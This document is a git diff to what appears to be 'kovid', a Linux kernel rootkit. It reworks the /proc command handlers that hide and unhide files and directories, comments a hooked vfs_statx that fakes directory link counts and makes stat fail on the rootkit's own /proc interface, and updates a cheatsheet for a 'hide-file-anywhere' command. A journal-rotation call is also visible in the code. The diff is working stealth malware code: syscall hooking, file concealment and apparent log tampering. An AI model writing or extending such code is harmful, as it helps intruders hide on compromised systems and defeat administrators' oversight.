diff --git a/docs/cheatsheet-proc-interface.txt b/docs/cheatsheet-proc-interface.txt index d313d41..bdc97cd 100644 --- a/docs/cheatsheet-proc-interface.txt +++ b/docs/cheatsheet-proc-interface.txt @@ -54,6 +54,7 @@ #13 Hide README.txt globally - hide all instances of README.txt # bypass #10 and #11 + # Limitation: directories are not supported $ echo hide-file-anywhere=README.txt >/proc/test #14 Undo #12 - this bypass #11 diff --git a/src/kovid.c b/src/kovid.c index 8bbccbf..5e6c2a8 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -513,24 +513,6 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, } break; case Opt_hide_file: - { - char *s = args[0].from; - struct kstat stat = {0}; - struct path path; - - if (fs_kern_path(s, &path) && fs_file_stat(&path, &stat)) { - /** It is filename, no problem because we have path.dentry */ - const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); - path_put(&path); - fs_add_name_rw(f, stat.ino); - kv_mem_free(&f); - } else { - if (*s != '.' && *s != '/') { - fs_add_name_rw(s, stat.ino); - } - } - } - break; case Opt_hide_directory: { char *s = args[0].from; @@ -541,29 +523,34 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, /** It is filename, no problem because we have path.dentry */ const char *f = kstrdup(path.dentry->d_name.name, GFP_KERNEL); bool is_dir = ((stat.mode & S_IFMT) == S_IFDIR); - u64 parent_inode = fs_get_parent_inode(&path); - fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir); + + if (is_dir) { + u64 parent_inode = fs_get_parent_inode(&path); + fs_add_name_rw_dir(f, stat.ino, parent_inode, is_dir); + } else { + fs_add_name_rw(f, stat.ino); + } path_put(&path); kv_mem_free(&f); - } else { - if (*s != '.' && *s != '/') { - /** add with unknown inode number */ - fs_add_name_rw(s, stat.ino); - } + } else if (*s != '.' && *s != '/') { + /** add with unknown inode number */ + fs_add_name_rw(s, stat.ino); } } break; + case Opt_unhide_file: + case Opt_unhide_directory: + fs_del_name(args[0].from); + break; + /* Currently, directories must + * be added individually: use hide-directory + * */ case Opt_hide_file_anywhere: fs_add_name_rw(args[0].from, 0); break; case Opt_list_hidden_files: fs_list_names(); break; - - case Opt_unhide_file: - case Opt_unhide_directory: - fs_del_name(args[0].from); - break; case Opt_journalclt: { char *cmd[] = {JOURNALCTL, "--rotate", NULL}; diff --git a/src/sys.c b/src/sys.c index 253b1bc..5e70618 100644 --- a/src/sys.c +++ b/src/sys.c @@ -1017,6 +1017,11 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct /* call original first, I want stat */ long rv = real_vfs_statx(dfd, filename, flags, stat, request_mask); + /** handle two distinct operations + * 1 If is directory, look for hidden file names + * and update hard-links counter accordingly. + * 2 make stat fail for /proc interface. + * */ if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) { if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) { int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino);